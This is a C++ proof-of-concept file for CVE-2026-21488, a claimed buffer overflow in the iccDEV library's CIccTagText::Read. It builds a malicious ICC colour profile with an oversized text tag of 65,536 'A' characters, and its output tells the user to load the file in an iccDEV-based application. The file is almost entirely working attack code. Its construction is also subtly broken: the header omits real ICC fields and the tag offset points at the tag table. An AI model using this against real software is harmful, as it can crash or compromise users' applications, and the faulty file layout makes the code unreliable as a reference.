// PoC for CVE-2026-21488: iccDEV CIccTagText::Read Buffer Overflow
// This PoC creates a malicious ICC profile with oversized text in CIccTagText
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <vector>
#pragma pack(push, 1)
struct ICCProfileHeader {
char signature[4]; // 'acsp'
unsigned int version;
char profile_class[4];
char color_space[4];
char pcs[4];
unsigned int creation_time;
char platform[4];
unsigned int flags;
char device_manufacturer[4];
unsigned int device_model;
unsigned int device_attributes[2];
unsigned int rendering_intent;
unsigned int pcs_illuminant[3];
char creator[4];
unsigned char reserved[44];
};
struct ICCTagTableEntry {
unsigned int signature;
unsigned int offset;
unsigned int size;
};
struct ICCTagTextHeader {
char signature[4]; // 'desc' or 'mlat'
unsigned int reserved;
unsigned int count; // Number of characters
// Followed by text data
};
#pragma pack(pop)
// Malicious text data that exceeds expected buffer size
std::vector<unsigned char> createMaliciousTagText() {
std::vector<unsigned char> tag;
ICCTagTextHeader header;
memcpy(header.signature, "desc", 4);
header.reserved = 0;
// Intentionally set count to a value that causes buffer overflow
// This exceeds the allocated buffer in CIccTagText::Read
header.count = 0x10000; // 65536 characters - overflow condition
tag.insert(tag.end(), (unsigned char*)&header,
(unsigned char*)&header + sizeof(ICCTagTextHeader));
// Add oversized text data
for (unsigned int i = 0; i < 0x10000; i++) {
tag.push_back('A'); // Fill with 'A' characters
}
return tag;
}
void createMaliciousICCProfile(const char* filename) {
FILE* fp = fopen(filename, "wb");
if (!fp) {
printf("Failed to create file: %s\n", filename);
return;
}
// Create header
ICCProfileHeader header = {};
memcpy(header.signature, "acsp", 4);
header.version = 0x04000000; // Version 4.0
memcpy(header.profile_class, "mntr", 4); // Monitor profile
memcpy(header.color_space, "RGB ", 4);
memcpy(header.pcs, "Lab ", 4);
header.creation_time = 0;
memcpy(header.platform, "MSFT", 4);
header.flags = 0;
memcpy(header.device_manufacturer, "TEST", 4);
header.device_model = 0;
header.rendering_intent = 0;
header.pcs_illuminant[0] = 0x0000C760;
header.pcs_illuminant[1] = 0x0000B535;
header.pcs_illuminant[2] = 0x0000D6D6;
memcpy(header.creator, "TEST", 4);
fwrite(&header, sizeof(header), 1, fp);
// Create malicious CIccTagText
std::vector<unsigned char> maliciousTag = createMaliciousTagText();
// Write tag table
ICCTagTableEntry tagEntry;
tagEntry.signature = 0x64657363; // 'desc'
tagEntry.offset = sizeof(ICCProfileHeader) + sizeof(unsigned int); // Skip tag count
tagEntry.size = maliciousTag.size();
unsigned int tagCount = 1;
fwrite(&tagCount, sizeof(unsigned int), 1, fp);
fwrite(&tagEntry, sizeof(tagEntry), 1, fp);
// Write malicious tag data
fwrite(maliciousTag.data(), maliciousTag.size(), 1, fp);
fclose(fp);
printf("Malicious ICC profile created: %s\n", filename);
printf("Tag size: %u bytes (intentionally oversized)\n", maliciousTag.size());
}
int main() {
printf("CVE-2026-21488 PoC - iccDEV CIccTagText::Read Overflow\n");
printf("====================================================\n\n");
createMaliciousICCProfile("malicious_profile.icc");
printf("\nTo trigger the vulnerability:\n");
printf("1. Use an application that uses iccDEV library\n");
printf("2. Load the malicious ICC profile: malicious_profile.icc\n");
printf("3. The CIccTagText::Read function will attempt to read\n");
printf(" %d bytes into a smaller buffer, causing overflow\n", 0x10000);
return 0;
}